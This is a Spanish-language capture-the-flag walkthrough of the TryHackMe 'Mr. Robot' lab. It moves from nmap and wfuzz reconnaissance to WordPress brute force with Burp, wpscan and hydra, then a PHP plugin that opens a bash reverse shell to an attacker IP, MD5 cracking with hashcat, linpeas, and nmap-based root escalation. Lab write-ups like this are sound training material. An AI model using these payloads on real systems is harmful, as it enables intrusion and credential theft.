CTF Walkthrough — Mr. Robot (TryHackMe)
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 10.10.86.81

📌 El valor TTL=63 → Linux
Escaneo con Nmap:
sudo nmap -p- --min-rate 5000 --open -sS -n -sVC 10.10.86.81
-
-p-escanea todos los puertos (1-65535). -
--min-rate 5000acelera el escaneo; cuidado en redes sensibles (puede disparar IDS). -
-sSSYN scan (stealth).-nevita DNS reverse lookup. -
-sV -sCdetecta versiones y corre scripts básicos. -
Resultado: puertos 22 (OpenSSH 8.2), 80 (Apache), 443 detectados.

🕵️Análisis de vulnerabilidades
Enumeración de directorios / ficheros web
wfuzz -c -t 200 --hc=404,403 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
http://10.10.86.81/FUZZ
-
wfuzzprueba rutas sustituyendoFUZZpor cada entrada del wordlist. -
--hc=404,403oculta respuestas 404/403 para destacar códigos 200/500/etc. -
-t 200lanza 200 threads; ojo con la carga (puede afectar el target y generar ruido). -
Se detectó
robots.txt, que es habitual que liste rutas “privadas” o wordlists; nunca confiar en su seguridad, pero sí usarlo para enumerar archivos.
robots.txt (contenido):
User-agent: *
fsocity.dic
key-1-of-3.txt
Interpretación:
fsocity.dicykey-1-of-3.txtestán expuestos públicamente.fsocity.dicparece una lista de palabras (diccionario) — valioso para ataques de fuerza bruta.key-1-of-3.txtprobablemente contiene una flag o pista.
# Descargar el diccionario
curl http://10.10.86.81/fsocity.dic -o fsocity.dic
# Obtener la primera flag
curl http://10.10.86.81/key-1-of-3.txt
-
Examina las primeras/últimas líneas:
head -n 30 fsocity.dicytail -n 30 fsocity.dic. -
Posibles usos: wordlist para Burp Intruder, Hydra, WPScan, etc.
🎯 Explotación
Preparación Burp / Intercept
burpsuite &> /dev/null & disown
-
Configura el proxy del navegador a Burp y activa Intercept.
-
Realiza un intento de login desde el navegador hasta que Burp capture la petición.
/wp-login -
Envía la petición capturada a Intruder (
Action → Send to Intruder).
Añadimos Add$ en la posición de usuario, cargamos fsocity.dic en Payloads y pulsamos Start attack.

El payload con Elliot muestra un Length diferente → usuario válido.

Fuerza bruta (WordPress / HTTP)
wpscan --url http://10.10.114.64/ --usernames Elliot --passwords fsocity.dic
o usando hydra (ejemplo HTTP form):
hydra -l Elliot -P fsocity.dic 10.10.225.249 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 20 -vV
Alternativa sin fuerza bruta (recurso license)
curl http://10.10.114.64/license

echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
Resultado: contraseña de Elliot ER28-0652

Login como elliot en wordpress y subida de webshell/plugin
- Crear
reverse.php:
<?php
/*
Plugin Name: WPReverseShell
Plugin URI: https://malicious.example.com
Description: Educational reverse shell plugin for testing.
Version: 1.0
Author: RedTeam
Author URI: https://malicious.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.21.119.164/6969 0>&1'");
?>
Luego lo comprimimos en formato .zip:
zip reverse.zip reverse.php
Preparamos el listener con Netcat:
nc -lvnp 6969
Subir e instalar plugin vía Plugins → Add New → Upload Plugin.


Ya estamos dentro de la máquina

Una vez obtenemos la reverse shell, es necesario ajustar algunos parámetros para hacerla más manejable. Esto nos permitirá usar combinaciones de teclas como Ctrl+C sin interrumpir la conexión, y también limpiar la pantalla con Ctrl+L.
Para mejorar la experiencia, ejecutamos los siguientes comandos:
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
Fichero con hashes:
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Preparar hash para crack:
echo "c3fcd3d76192e4007dfb496cca67e13b" > robot.hash
hashcat -m 0 -a 0 robot.hash /usr/share/wordlists/rockyou.txt -O
Contraseña crackeada: abcdefghijklmnopqrstuvwxyz

Conexión SSH con robot:
ssh robot@10.10.114.64
Subir y ejecutar linpeas:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
scp ./linpeas.sh robot@10.10.114.64:/tmp
chmod +x /tmp/linpeas.sh
bash /tmp/linpeas.sh -a
- linPEAS muestra posibles vectores de escalada destacados.

Buscar GTFOBins para escalada (ejemplo con nmap):

nmap --interactive
nmap> !bash
